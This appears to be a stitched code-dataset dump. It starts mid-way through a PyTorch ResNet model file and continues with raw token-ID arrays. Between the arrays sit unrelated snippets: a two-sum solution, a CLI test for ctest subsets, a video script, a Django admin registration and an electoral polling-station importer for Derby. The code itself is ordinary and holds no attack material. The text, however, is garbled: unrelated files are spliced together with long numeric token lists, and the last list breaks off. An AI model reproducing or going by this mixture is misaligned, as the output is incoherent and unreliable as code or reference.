resnet.layer4[0].conv2.stride = (1,1)
resnet.layer4[0].downsample[0].stride = (1,1)
gap = GeneralizedMeanPoolingP() #nn.AdaptiveAvgPool2d(1)
print("The init norm is ",gap)
waveblock = Waveblock()
self.base = nn.Sequential(
resnet.conv1, resnet.bn1, resnet.maxpool, resnet.relu,
resnet.layer1,
resnet.layer2, waveblock,
resnet.layer3, waveblock,
resnet.layer4, gap
).cuda()
if not self.cut_at_pooling:
self.num_features = 2048*4
self.norm = norm
self.dropout = dropout
self.has_embedding = num_features > 0
self.num_classes = num_classes
out_planes = resnet.fc.in_features
if self.dropout > 0:
self.drop = nn.Dropout(self.dropout)
if self.num_classes > 0:
projecter = nn.Sequential(
nn.Linear(2048, 2048*2),
nn.BatchNorm1d(2048*2),
nn.LeakyReLU(0.2, inplace = True),
nn.Linear(2048*2, 2048*4)
)
assert num_classes % 4 == 0
self.classifier_0 = nn.Linear(self.num_features, self.num_classes//4, bias=False).cuda()
init.normal_(self.classifier_0.weight, std=0.001)
self.classifier_1 = nn.Linear(self.num_features, self.num_classes//4, bias=False).cuda()
init.normal_(self.classifier_1.weight, std=0.001)
self.classifier_2 = nn.Linear(self.num_features, self.num_classes//4, bias=False).cuda()
init.normal_(self.classifier_2.weight, std=0.001)
self.classifier_3 = nn.Linear(self.num_features, self.num_classes//4, bias=False).cuda()
init.normal_(self.classifier_3.weight, std=0.001)
# Append new layers
if self.has_embedding:
self.feat = nn.Linear(out_planes, self.num_features)
self.feat_bn = nn.BatchNorm1d(self.num_features)
init.kaiming_normal_(self.feat.weight, mode='fan_out')
init.constant_(self.feat.bias, 0)
else:
# Change the num_features to CNN output channels
self.num_features = 2048*4
feat_bn = nn.BatchNorm1d(self.num_features)
feat_bn.bias.requires_grad_(False)
init.constant_(feat_bn.weight, 1)
init.constant_(feat_bn.bias, 0)
self.projector_feat_bn = nn.Sequential(
projecter,
feat_bn
).cuda()
def forward(self, x, feature_withbn=False):
x = self.base(x)
x = x.view(x.size(0), -1)
bn_x = self.projector_feat_bn(x)
# Split FC->
prob = [None for _ in range(4)]
prob[0] = self.classifier_0(bn_x.cuda())
prob[1] = self.classifier_1(bn_x.cuda())
prob[2] = self.classifier_2(bn_x.cuda())
prob[3] = self.classifier_3(bn_x.cuda())
prob = torch.cat(prob, dim = 1)
# <-Split FC
return x, prob
def resnet18(**kwargs):
return ResNet(18, **kwargs)
def resnet34(**kwargs):
return ResNet(34, **kwargs)
def resnet50(**kwargs):
return ResNet(50, **kwargs)
def resnet101(**kwargs):
return ResNet(101, **kwargs)
def resnet152(**kwargs):
return ResNet(152, **kwargs) | [
1,
515,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
13,
3166,
4842,
305,
1053,
302,
29876,
13,
3166,
4842,
305,
29889,
15755,
1053,
13303,
408,
383,
13,
3166,
4842,
305,
29889,
15755,
1053,
2069,
13,
5215,
4842,
305,
4924,
13,
5215,
4842,
305,
13,
5215,
4036,
13,
13,
3166,
869,
17797,
1053,
4593,
1891,
6816,
273,
11426,
292,
29925,
13,
13,
1649,
497,
1649,
353,
6024,
1666,
6779,
742,
525,
690,
1212,
29896,
29947,
742,
525,
690,
1212,
29941,
29946,
742,
525,
690,
1212,
29945,
29900,
742,
525,
690,
1212,
29896,
29900,
29896,
742,
13,
965,
525,
690,
1212,
29896,
29945,
29906,
2033,
13,
13,
1990,
399,
1351,
1271,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
308,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
565,
1583,
29889,
26495,
29901,
13,
9651,
298,
29892,
281,
353,
921,
29889,
2311,
580,
14352,
29906,
17531,
13,
9651,
18178,
353,
4513,
29898,
29900,
29889,
29941,
334,
298,
29897,
13,
9651,
269,
29916,
353,
4036,
29889,
9502,
524,
29898,
29900,
29892,
298,
29899,
19046,
29897,
13,
9651,
11105,
353,
313,
29916,
29889,
1482,
29918,
2873,
29898,
29916,
29889,
2311,
22130,
29930,
29896,
29889,
29945,
13,
9651,
11105,
7503,
29892,
584,
29892,
269,
29916,
29901,
29879,
29916,
29974,
19046,
29892,
584,
29962,
353,
29871,
29896,
13,
9651,
921,
353,
921,
334,
11105,
29871,
13,
4706,
736,
921,
13,
13,
1990,
2538,
6779,
29898,
15755,
29889,
7355,
1125,
13,
1678,
4770,
14399,
353,
426,
13,
308,
29896,
29947,
29901,
4842,
305,
4924,
29889,
9794,
29889,
690,
1212,
29896,
29947,
29892,
13,
308,
29941,
29946,
29901,
4842,
305,
4924,
29889,
9794,
29889,
690,
1212,
29941,
29946,
29892,
13,
308,
29945,
29900,
29901,
4842,
305,
4924,
29889,
9794,
29889,
690,
1212,
29945,
29900,
29892,
13,
308,
29896,
29900,
29896,
29901,
4842,
305,
4924,
29889,
9794,
29889,
690,
1212,
29896,
29900,
29896,
29892,
13,
308,
29896,
29945,
29906,
29901,
4842,
305,
4924,
29889,
9794,
29889,
690,
1212,
29896,
29945,
29906,
29892,
13,
1678,
500,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10809,
29892,
758,
3018,
1312,
29922,
5574,
29892,
5700,
29918,
271,
29918,
10109,
292,
29922,
8824,
29892,
13,
462,
954,
29918,
22100,
29922,
29900,
29892,
6056,
29922,
8824,
29892,
5768,
449,
29922,
29900,
29892,
954,
29918,
13203,
29922,
29900,
29892,
13,
462,
2906,
353,
6213,
1125,
13,
4706,
2428,
29898,
1666,
6779,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
1457,
3018,
1312,
353,
758,
3018,
1312,
13,
4706,
1583,
29889,
19488,
353,
10809,
13,
4706,
1583,
29889,
7582,
29918,
271,
29918,
10109,
292,
353,
5700,
29918,
271,
29918,
10109,
292,
13,
4706,
396,
1281,
4984,
2967,
313,
1457,
3018,
1312,
29897,
620,
1212,
13,
4706,
565,
10809,
451,
297,
2538,
6779,
17255,
14399,
29901,
13,
9651,
12020,
7670,
2392,
703,
25807,
29884,
3016,
287,
10809,
29901,
613,
10809,
29897,
13,
4706,
620,
1212,
353,
2538,
6779,
17255,
14399,
29961,
19488,
850,
1457,
3018,
1312,
29922,
1457,
3018,
1312,
29897,
13,
308,
13,
4706,
620,
1212,
29889,
13148,
29946,
29961,
29900,
1822,
20580,
29906,
29889,
303,
2426,
353,
313,
29896,
29892,
29896,
29897,
13,
4706,
620,
1212,
29889,
13148,
29946,
29961,
29900,
1822,
3204,
11249,
29961,
29900,
1822,
303,
2426,
353,
313,
29896,
29892,
29896,
29897,
13,
4706,
17261,
353,
4593,
1891,
6816,
273,
11426,
292,
29925,
580,
396,
15755,
29889,
29909,
1388,
415,
573,
12810,
29887,
11426,
29906,
29881,
29898,
29896,
29897,
13,
4706,
1596,
703,
1576,
2069,
6056,
338,
9162,
29887,
481,
29897,
13,
4706,
10742,
1271,
353,
399,
1351,
1271,
580,
13,
308,
13,
4706,
1583,
29889,
3188,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
620,
1212,
29889,
20580,
29896,
29892,
620,
1212,
29889,
11197,
29896,
29892,
620,
1212,
29889,
3317,
10109,
29892,
620,
1212,
29889,
2674,
29884,
29892,
13,
9651,
620,
1212,
29889,
13148,
29896,
29892,
13,
9651,
620,
1212,
29889,
13148,
29906,
29892,
10742,
1271,
29892,
13,
9651,
620,
1212,
29889,
13148,
29941,
29892,
10742,
1271,
29892,
13,
9651,
620,
1212,
29889,
13148,
29946,
29892,
17261,
13,
4706,
13742,
29883,
6191,
580,
13,
308,
13,
4706,
565,
451,
1583,
29889,
7582,
29918,
271,
29918,
10109,
292,
29901,
13,
9651,
1583,
29889,
1949,
29918,
22100,
353,
29871,
29906,
29900,
29946,
29947,
29930,
29946,
13,
9651,
1583,
29889,
12324,
353,
6056,
13,
9651,
1583,
29889,
8865,
449,
353,
5768,
449,
13,
9651,
1583,
29889,
5349,
29918,
17987,
8497,
353,
954,
29918,
22100,
1405,
29871,
29900,
13,
9651,
1583,
29889,
1949,
29918,
13203,
353,
954,
29918,
13203,
13,
13,
9651,
714,
29918,
9018,
267,
353,
620,
1212,
29889,
13801,
29889,
262,
29918,
22100,
13,
13,
9651,
565,
1583,
29889,
8865,
449,
1405,
29871,
29900,
29901,
13,
18884,
1583,
29889,
8865,
353,
302,
29876,
29889,
15063,
449,
29898,
1311,
29889,
8865,
449,
29897,
13,
9651,
565,
1583,
29889,
1949,
29918,
13203,
1405,
29871,
29900,
29901,
13,
18884,
2060,
261,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
462,
18884,
302,
29876,
29889,
12697,
29898,
29906,
29900,
29946,
29947,
29892,
29871,
29906,
29900,
29946,
29947,
29930,
29906,
511,
13,
462,
18884,
302,
29876,
29889,
23145,
29940,
555,
29896,
29881,
29898,
29906,
29900,
29946,
29947,
29930,
29906,
511,
13,
462,
18884,
302,
29876,
29889,
3226,
557,
29891,
1123,
29931,
29965,
29898,
29900,
29889,
29906,
29892,
297,
6689,
353,
5852,
511,
13,
462,
18884,
302,
29876,
29889,
12697,
29898,
29906,
29900,
29946,
29947,
29930,
29906,
29892,
29871,
29906,
29900,
29946,
29947,
29930,
29946,
29897,
13,
18884,
1723,
13,
462,
13,
18884,
4974,
954,
29918,
13203,
1273,
29871,
29946,
1275,
29871,
29900,
13,
462,
268,
13,
18884,
1583,
29889,
1990,
3709,
29918,
29900,
353,
302,
29876,
29889,
12697,
29898,
1311,
29889,
1949,
29918,
22100,
29892,
1583,
29889,
1949,
29918,
13203,
458,
29946,
29892,
24003,
29922,
8824,
467,
29883,
6191,
580,
13,
18884,
2069,
29889,
8945,
23538,
1311,
29889,
1990,
3709,
29918,
29900,
29889,
7915,
29892,
3659,
29922,
29900,
29889,
29900,
29900,
29896,
29897,
13,
18884,
1583,
29889,
1990,
3709,
29918,
29896,
353,
302,
29876,
29889,
12697,
29898,
1311,
29889,
1949,
29918,
22100,
29892,
1583,
29889,
1949,
29918,
13203,
458,
29946,
29892,
24003,
29922,
8824,
467,
29883,
6191,
580,
13,
18884,
2069,
29889,
8945,
23538,
1311,
29889,
1990,
3709,
29918,
29896,
29889,
7915,
29892,
3659,
29922,
29900,
29889,
29900,
29900,
29896,
29897,
13,
18884,
1583,
29889,
1990,
3709,
29918,
29906,
353,
302,
29876,
29889,
12697,
29898,
1311,
29889,
1949,
29918,
22100,
29892,
1583,
29889,
1949,
29918,
13203,
458,
29946,
29892,
24003,
29922,
8824,
467,
29883,
6191,
580,
13,
18884,
2069,
29889,
8945,
23538,
1311,
29889,
1990,
3709,
29918,
29906,
29889,
7915,
29892,
3659,
29922,
29900,
29889,
29900,
29900,
29896,
29897,
13,
18884,
1583,
29889,
1990,
3709,
29918,
29941,
353,
302,
29876,
29889,
12697,
29898,
1311,
29889,
1949,
29918,
22100,
29892,
1583,
29889,
1949,
29918,
13203,
458,
29946,
29892,
24003,
29922,
8824,
467,
29883,
6191,
580,
13,
18884,
2069,
29889,
8945,
23538,
1311,
29889,
1990,
3709,
29918,
29941,
29889,
7915,
29892,
3659,
29922,
29900,
29889,
29900,
29900,
29896,
29897,
13,
462,
13,
462,
13,
9651,
396,
22871,
716,
15359,
13,
9651,
565,
1583,
29889,
5349,
29918,
17987,
8497,
29901,
13,
18884,
1583,
29889,
1725,
271,
353,
302,
29876,
29889,
12697,
29898,
449,
29918,
9018,
267,
29892,
1583,
29889,
1949,
29918,
22100,
29897,
13,
18884,
1583,
29889,
1725,
271,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29896,
29881,
29898,
1311,
29889,
1949,
29918,
22100,
29897,
13,
18884,
2069,
29889,
1335,
326,
292,
29918,
8945,
23538,
1311,
29889,
1725,
271,
29889,
7915,
29892,
4464,
2433,
12963,
29918,
449,
1495,
13,
18884,
2069,
29889,
23362,
23538,
1311,
29889,
1725,
271,
29889,
29890,
3173,
29892,
29871,
29900,
29897,
13,
9651,
1683,
29901,
13,
18884,
396,
10726,
278,
954,
29918,
22100,
304,
29696,
1962,
18196,
13,
18884,
1583,
29889,
1949,
29918,
22100,
353,
29871,
29906,
29900,
29946,
29947,
29930,
29946,
13,
18884,
1238,
271,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29896,
29881,
29898,
1311,
29889,
1949,
29918,
22100,
29897,
13,
9651,
1238,
271,
29918,
11197,
29889,
29890,
3173,
29889,
276,
339,
2658,
29918,
5105,
23538,
8824,
29897,
13,
632,
13,
4706,
2069,
29889,
23362,
23538,
1725,
271,
29918,
11197,
29889,
7915,
29892,
29871,
29896,
29897,
13,
4706,
2069,
29889,
23362,
23538,
1725,
271,
29918,
11197,
29889,
29890,
3173,
29892,
29871,
29900,
29897,
13,
308,
13,
4706,
1583,
29889,
4836,
272,
29918,
1725,
271,
29918,
11197,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
2060,
261,
29892,
13,
9651,
1238,
271,
29918,
11197,
13,
4706,
13742,
29883,
6191,
580,
13,
268,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29892,
4682,
29918,
2541,
11197,
29922,
8824,
1125,
13,
4706,
921,
353,
1583,
29889,
3188,
29898,
29916,
29897,
13,
4706,
921,
353,
921,
29889,
1493,
29898,
29916,
29889,
2311,
29898,
29900,
511,
448,
29896,
29897,
13,
308,
13,
4706,
289,
29876,
29918,
29916,
353,
1583,
29889,
4836,
272,
29918,
1725,
271,
29918,
11197,
29898,
29916,
29897,
13,
13,
4706,
396,
26178,
7992,
976,
13,
4706,
2070,
353,
518,
8516,
363,
903,
297,
3464,
29898,
29946,
4638,
13,
4706,
2070,
29961,
29900,
29962,
353,
1583,
29889,
1990,
3709,
29918,
29900,
29898,
11197,
29918,
29916,
29889,
29883,
6191,
3101,
13,
4706,
2070,
29961,
29896,
29962,
353,
1583,
29889,
1990,
3709,
29918,
29896,
29898,
11197,
29918,
29916,
29889,
29883,
6191,
3101,
13,
4706,
2070,
29961,
29906,
29962,
353,
1583,
29889,
1990,
3709,
29918,
29906,
29898,
11197,
29918,
29916,
29889,
29883,
6191,
3101,
13,
4706,
2070,
29961,
29941,
29962,
353,
1583,
29889,
1990,
3709,
29918,
29941,
29898,
11197,
29918,
29916,
29889,
29883,
6191,
3101,
13,
308,
13,
4706,
2070,
353,
4842,
305,
29889,
4117,
29898,
22795,
29892,
3964,
353,
29871,
29896,
29897,
13,
4706,
396,
3705,
18772,
7992,
13,
4706,
736,
921,
29892,
2070,
13,
13,
1753,
620,
1212,
29896,
29947,
29898,
1068,
19290,
1125,
13,
1678,
736,
2538,
6779,
29898,
29896,
29947,
29892,
3579,
19290,
29897,
13,
13,
13,
1753,
620,
1212,
29941,
29946,
29898,
1068,
19290,
1125,
13,
1678,
736,
2538,
6779,
29898,
29941,
29946,
29892,
3579,
19290,
29897,
13,
13,
13,
1753,
620,
1212,
29945,
29900,
29898,
1068,
19290,
1125,
13,
1678,
736,
2538,
6779,
29898,
29945,
29900,
29892,
3579,
19290,
29897,
13,
13,
13,
1753,
620,
1212,
29896,
29900,
29896,
29898,
1068,
19290,
1125,
13,
1678,
736,
2538,
6779,
29898,
29896,
29900,
29896,
29892,
3579,
19290,
29897,
13,
13,
13,
1753,
620,
1212,
29896,
29945,
29906,
29898,
1068,
19290,
1125,
13,
1678,
736,
2538,
6779,
29898,
29896,
29945,
29906,
29892,
3579,
19290,
29897,
2
] |
solutions/167.two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.py | wangsongiam/leetcode | 3 | 180153 | class Solution:
def twoSum(self, numbers, target):
"""
:type numbers: List[int]
:type target: int
:rtype: List[int]
"""
l = 0
r = len(numbers) - 1
while l < r:
sum = numbers[l] + numbers[r]
if sum < target:
l += 1
elif sum > target:
r -= 1
else:
return [l + 1, r + 1]
| [
1,
770,
24380,
29901,
13,
1678,
822,
1023,
11139,
29898,
1311,
29892,
3694,
29892,
3646,
1125,
13,
4706,
9995,
13,
4706,
584,
1853,
3694,
29901,
2391,
29961,
524,
29962,
13,
4706,
584,
1853,
3646,
29901,
938,
13,
4706,
584,
29878,
1853,
29901,
2391,
29961,
524,
29962,
13,
4706,
9995,
13,
4706,
301,
353,
29871,
29900,
13,
4706,
364,
353,
7431,
29898,
20326,
29897,
448,
29871,
29896,
13,
13,
4706,
1550,
301,
529,
364,
29901,
13,
9651,
2533,
353,
3694,
29961,
29880,
29962,
718,
3694,
29961,
29878,
29962,
13,
9651,
565,
2533,
529,
3646,
29901,
13,
18884,
301,
4619,
29871,
29896,
13,
9651,
25342,
2533,
1405,
3646,
29901,
13,
18884,
364,
22361,
29871,
29896,
13,
9651,
1683,
29901,
13,
18884,
736,
518,
29880,
718,
259,
29896,
29892,
364,
718,
29871,
29896,
29962,
13,
2
] |
tests/test_runners/test_ctest.py | Songmu/cli | 0 | 164206 | from pathlib import Path
import responses # type: ignore
import json
import gzip
import os
from launchable.utils.session import read_session
from tests.cli_test_case import CliTestCase
from unittest import mock
class CTestTest(CliTestCase):
test_files_dir = Path(__file__).parent.joinpath(
'../data/ctest/').resolve()
@responses.activate
@mock.patch.dict(os.environ, {"LAUNCHABLE_TOKEN": CliTestCase.launchable_token})
def test_subset_without_session(self):
result = self.cli('subset', '--target', '10%', '--build',
self.build_name, 'ctest', str(self.test_files_dir.joinpath("ctest_list.json")))
self.assertEqual(result.exit_code, 0)
payload = json.loads(gzip.decompress(
responses.calls[1].request.body).decode())
expected = self.load_json_from_file(
self.test_files_dir.joinpath('subset_result.json'))
self.assert_json_orderless_equal(payload, expected)
@responses.activate
@mock.patch.dict(os.environ, {"LAUNCHABLE_TOKEN": CliTestCase.launchable_token})
def test_record_test(self):
result = self.cli('record', 'tests', '--build',
self.build_name, 'ctest', str(self.test_files_dir) + "/Testing/**/Test.xml")
self.assertEqual(result.exit_code, 0)
self.assertEqual(read_session(self.build_name), self.session)
payload = json.loads(gzip.decompress(responses.calls[2].request.body).decode())
expected = self.load_json_from_file(
self.test_files_dir.joinpath('record_test_result.json'))
for c in payload['events']:
del c['created_at']
self.assert_json_orderless_equal(payload, expected)
| [
1,
515,
2224,
1982,
1053,
10802,
13,
5215,
20890,
29871,
396,
1134,
29901,
11455,
13,
5215,
4390,
13,
5215,
330,
7554,
13,
5215,
2897,
13,
3166,
6826,
519,
29889,
13239,
29889,
7924,
1053,
1303,
29918,
7924,
13,
3166,
6987,
29889,
11303,
29918,
1688,
29918,
4878,
1053,
315,
492,
3057,
8259,
13,
3166,
443,
27958,
1053,
11187,
13,
13,
13,
1990,
315,
3057,
3057,
29898,
29907,
492,
3057,
8259,
1125,
13,
1678,
1243,
29918,
5325,
29918,
3972,
353,
10802,
22168,
1445,
1649,
467,
3560,
29889,
7122,
2084,
29898,
13,
4706,
525,
6995,
1272,
29914,
312,
342,
29914,
2824,
17863,
580,
13,
13,
1678,
732,
26679,
267,
29889,
11236,
403,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
8853,
4375,
3904,
3210,
6181,
29918,
4986,
29968,
1430,
1115,
315,
492,
3057,
8259,
29889,
15343,
519,
29918,
6979,
1800,
13,
1678,
822,
1243,
29918,
6484,
29918,
14037,
29918,
7924,
29898,
1311,
1125,
13,
4706,
1121,
353,
1583,
29889,
11303,
877,
6484,
742,
525,
489,
5182,
742,
525,
29896,
29900,
29995,
742,
525,
489,
4282,
742,
13,
462,
3986,
1583,
29889,
4282,
29918,
978,
29892,
525,
312,
342,
742,
851,
29898,
1311,
29889,
1688,
29918,
5325,
29918,
3972,
29889,
7122,
2084,
703,
312,
342,
29918,
1761,
29889,
3126,
29908,
4961,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2914,
29889,
13322,
29918,
401,
29892,
29871,
29900,
29897,
13,
13,
4706,
20092,
353,
4390,
29889,
18132,
29898,
29887,
7554,
29889,
311,
510,
2139,
29898,
13,
9651,
20890,
29889,
29883,
4293,
29961,
29896,
1822,
3827,
29889,
2587,
467,
13808,
3101,
13,
4706,
3806,
353,
1583,
29889,
1359,
29918,
3126,
29918,
3166,
29918,
1445,
29898,
13,
9651,
1583,
29889,
1688,
29918,
5325,
29918,
3972,
29889,
7122,
2084,
877,
6484,
29918,
2914,
29889,
3126,
8785,
13,
4706,
1583,
29889,
9294,
29918,
3126,
29918,
2098,
2222,
29918,
11745,
29898,
23813,
29892,
3806,
29897,
13,
13,
1678,
732,
26679,
267,
29889,
11236,
403,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
8853,
4375,
3904,
3210,
6181,
29918,
4986,
29968,
1430,
1115,
315,
492,
3057,
8259,
29889,
15343,
519,
29918,
6979,
1800,
13,
1678,
822,
1243,
29918,
11651,
29918,
1688,
29898,
1311,
1125,
13,
4706,
1121,
353,
1583,
29889,
11303,
877,
11651,
742,
525,
21150,
742,
525,
489,
4282,
742,
13,
462,
3986,
1583,
29889,
4282,
29918,
978,
29892,
525,
312,
342,
742,
851,
29898,
1311,
29889,
1688,
29918,
5325,
29918,
3972,
29897,
718,
5591,
3057,
292,
7918,
29914,
3057,
29889,
3134,
1159,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2914,
29889,
13322,
29918,
401,
29892,
29871,
29900,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
949,
29918,
7924,
29898,
1311,
29889,
4282,
29918,
978,
511,
1583,
29889,
7924,
29897,
13,
13,
4706,
20092,
353,
4390,
29889,
18132,
29898,
29887,
7554,
29889,
311,
510,
2139,
29898,
26679,
267,
29889,
29883,
4293,
29961,
29906,
1822,
3827,
29889,
2587,
467,
13808,
3101,
13,
4706,
3806,
353,
1583,
29889,
1359,
29918,
3126,
29918,
3166,
29918,
1445,
29898,
13,
9651,
1583,
29889,
1688,
29918,
5325,
29918,
3972,
29889,
7122,
2084,
877,
11651,
29918,
1688,
29918,
2914,
29889,
3126,
8785,
13,
13,
4706,
363,
274,
297,
20092,
1839,
13604,
2033,
29901,
13,
9651,
628,
274,
1839,
11600,
29918,
271,
2033,
13,
4706,
1583,
29889,
9294,
29918,
3126,
29918,
2098,
2222,
29918,
11745,
29898,
23813,
29892,
3806,
29897,
13,
2
] |
scripts/create_video.py | olds/moab_tools | 0 | 169289 | <gh_stars>0
from config import IMAGE_LOCATIONS
import datetime
yesterday = datetime.date.today() - datetime.timedelta(days = 1)
for location in IMAGE_LOCATIONS:
location.create_video(date=str(yesterday)) | [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
2295,
1053,
306,
1529,
1692,
29918,
16652,
8098,
29903,
13,
5215,
12865,
13,
13,
29891,
18358,
353,
12865,
29889,
1256,
29889,
27765,
580,
448,
12865,
29889,
9346,
287,
2554,
29898,
16700,
353,
29871,
29896,
29897,
13,
13,
1454,
4423,
297,
306,
1529,
1692,
29918,
16652,
8098,
29903,
29901,
13,
1678,
4423,
29889,
3258,
29918,
9641,
29898,
1256,
29922,
710,
29898,
29891,
18358,
876,
2
] |
apps/product/admin.py | LleidaHack/comlab | 3 | 1614944 | <reponame>LleidaHack/comlab<gh_stars>1-10
from django.contrib import admin
from apps.product.models import Product, Tag
# Register your models here.
class ProductAdmin(admin.ModelAdmin):
list_display = ("tag", "name",)
admin.site.register(Product, ProductAdmin)
admin.site.register(Tag)
| [
1,
529,
276,
1112,
420,
29958,
29931,
280,
1458,
29950,
547,
29914,
510,
8205,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
9557,
29889,
21570,
1053,
4113,
13,
3166,
11446,
29889,
4704,
29889,
9794,
1053,
10969,
29892,
10522,
13,
13,
29937,
12577,
596,
4733,
1244,
29889,
13,
1990,
10969,
12754,
29898,
6406,
29889,
3195,
12754,
1125,
13,
1678,
1051,
29918,
4990,
353,
4852,
4039,
613,
376,
978,
613,
29897,
13,
13,
6406,
29889,
2746,
29889,
9573,
29898,
7566,
29892,
10969,
12754,
29897,
13,
6406,
29889,
2746,
29889,
9573,
29898,
8176,
29897,
13,
2
] |
polling_stations/apps/data_collection/management/commands/import_derby.py | dantagg/UK-Polling-Stations | 0 | 134714 | from data_collection.management.commands import BaseXpressDemocracyClubCsvImporter
class Command(BaseXpressDemocracyClubCsvImporter):
council_id = "E06000015"
addresses_name = "parl.2019-12-12/Version 1/Democracy_Club__12December2019derby.tsv"
stations_name = "parl.2019-12-12/Version 1/Democracy_Club__12December2019derby.tsv"
elections = ["parl.2019-12-12"]
csv_delimiter = "\t"
allow_station_point_from_postcode = False
def station_record_to_dict(self, record):
# user error report #202
# <NAME>, Uttoxeter Old Road
if record.polling_place_id == "9315":
record = record._replace(polling_place_easting="434237")
record = record._replace(polling_place_northing="336464")
return super().station_record_to_dict(record)
def address_record_to_dict(self, record):
rec = super().address_record_to_dict(record)
uprn = record.property_urn.strip().lstrip("0")
if (
record.addressline1.strip() == "Flat 1"
and record.addressline2.strip() == "48 Bedford Street"
and record.addressline3.strip() == "Derby"
):
rec["postcode"] = "DE22 3PB"
if (
record.addressline1.strip() == "43A Coronation Avenue"
and record.addressline2.strip() == "Alvaston"
and record.addressline3.strip() == "Derby"
):
rec["postcode"] = "DE24 0LR"
if uprn == "10010687582":
rec["postcode"] = "DE22 4LT"
if uprn in [
"10010687003", # DE236SX -> DE238SX : Flat c, 202 St Thomas` Road, Derby
"200001878041", # DE240LU -> DE248LU : Flat 2, 70 Wilkins Drive, Allenton, Derby
"100030341735", # DE248BH -> DE248BG : 40A Nightingale Road, Derby
"10010683517", # DE39GW -> DE39GB : Flat 1, 30 Poppyfields Drive, Mickleover, Derby
]:
rec["accept_suggestion"] = True
if uprn in [
"100032256980", # DE11RZ -> DE11RY : 112 Green Lane, Derby
"100030362297", # DE231HD -> DE231LH : 420A Stenson Road, Sunnyhill, Derby
"10010685239", # DE240UQ -> DE248UQ : The Needles, Bembridge Drive, Alvaston, Derby
"100030323067", # DE221GZ -> DE231DG : 20 Highfield Road, Derby
"100030301767", # DE39FT -> DE236WG : 20 Chestnut Avenue, Mickleover, Derby
"10071154563", # DE13GB -> DE13DZ : Flat Above The Flowerpot, 23 King Street, Derby
"10010673524", # DE222DL -> DE221BG : Flat Above, 508 Duffield Road, Allestree, Derby
"100030342785", # DE217GZ -> DE216AN : 211 Nottingham Road, Spondon, Derby
"10010678922", # DE221JH -> DE11EP : 10 St George`s Close, Allestree, Derby
"100030297262", # DE248DT -> DE238RT : Ground Floor Flat, 90 Marlborough Road, Derby
"100030360196", # DE248QG -> DE238QX : First Floor, 1162 London Road, Alvaston, Derby
"10071156845", # DE13AZ -> DE236BJ : 3B North Street, Derby
]:
rec["accept_suggestion"] = False
return rec
| [
1,
515,
848,
29918,
10855,
29889,
21895,
29889,
26381,
1053,
7399,
29990,
2139,
29928,
331,
25804,
6821,
431,
29907,
4501,
24192,
9555,
13,
13,
13,
1990,
10516,
29898,
5160,
29990,
2139,
29928,
331,
25804,
6821,
431,
29907,
4501,
24192,
9555,
1125,
13,
1678,
18701,
29918,
333,
353,
376,
29923,
29900,
29953,
29900,
29900,
29900,
29900,
29896,
29945,
29908,
13,
1678,
14157,
29918,
978,
353,
376,
862,
29880,
29889,
29906,
29900,
29896,
29929,
29899,
29896,
29906,
29899,
29896,
29906,
29914,
6594,
29871,
29896,
29914,
29928,
331,
25804,
29918,
6821,
431,
1649,
29896,
29906,
6185,
1096,
29906,
29900,
29896,
29929,
672,
1609,
29889,
1372,
29894,
29908,
13,
1678,
16355,
29918,
978,
353,
376,
862,
29880,
29889,
29906,
29900,
29896,
29929,
29899,
29896,
29906,
29899,
29896,
29906,
29914,
6594,
29871,
29896,
29914,
29928,
331,
25804,
29918,
6821,
431,
1649,
29896,
29906,
6185,
1096,
29906,
29900,
29896,
29929,
672,
1609,
29889,
1372,
29894,
29908,
13,
1678,
20209,
353,
6796,
862,
29880,
29889,
29906,
29900,
29896,
29929,
29899,
29896,
29906,
29899,
29896,
29906,
3108,
13,
1678,
11799,
29918,
6144,
19657,
353,
6634,
29873,
29908,
13,
1678,
2758,
29918,
19569,
29918,
3149,
29918,
3166,
29918,
2490,
401,
353,
7700,
13,
13,
1678,
822,
5073,
29918,
11651,
29918,
517,
29918,
8977,
29898,
1311,
29892,
2407,
1125,
13,
13,
4706,
396,
1404,
1059,
3461,
396,
29906,
29900,
29906,
13,
4706,
396,
529,
5813,
10202,
14950,
517,
29916,
1308,
8198,
9321,
13,
4706,
565,
2407,
29889,
3733,
1847,
29918,
6689,
29918,
333,
1275,
376,
29929,
29941,
29896,
29945,
1115,
13,
9651,
2407,
353,
2407,
3032,
6506,
29898,
3733,
1847,
29918,
6689,
29918,
23027,
292,
543,
29946,
29941,
29946,
29906,
29941,
29955,
1159,
13,
9651,
2407,
353,
2407,
3032,
6506,
29898,
3733,
1847,
29918,
6689,
29918,
15459,
1918,
543,
29941,
29941,
29953,
29946,
29953,
29946,
1159,
13,
4706,
736,
2428,
2141,
19569,
29918,
11651,
29918,
517,
29918,
8977,
29898,
11651,
29897,
13,
13,
1678,
822,
3211,
29918,
11651,
29918,
517,
29918,
8977,
29898,
1311,
29892,
2407,
1125,
13,
4706,
1162,
353,
2428,
2141,
7328,
29918,
11651,
29918,
517,
29918,
8977,
29898,
11651,
29897,
13,
4706,
318,
558,
29876,
353,
2407,
29889,
6799,
29918,
595,
29889,
17010,
2141,
29880,
17010,
703,
29900,
1159,
13,
13,
4706,
565,
313,
13,
9651,
2407,
29889,
7328,
1220,
29896,
29889,
17010,
580,
1275,
376,
29943,
5066,
29871,
29896,
29908,
13,
9651,
322,
2407,
29889,
7328,
1220,
29906,
29889,
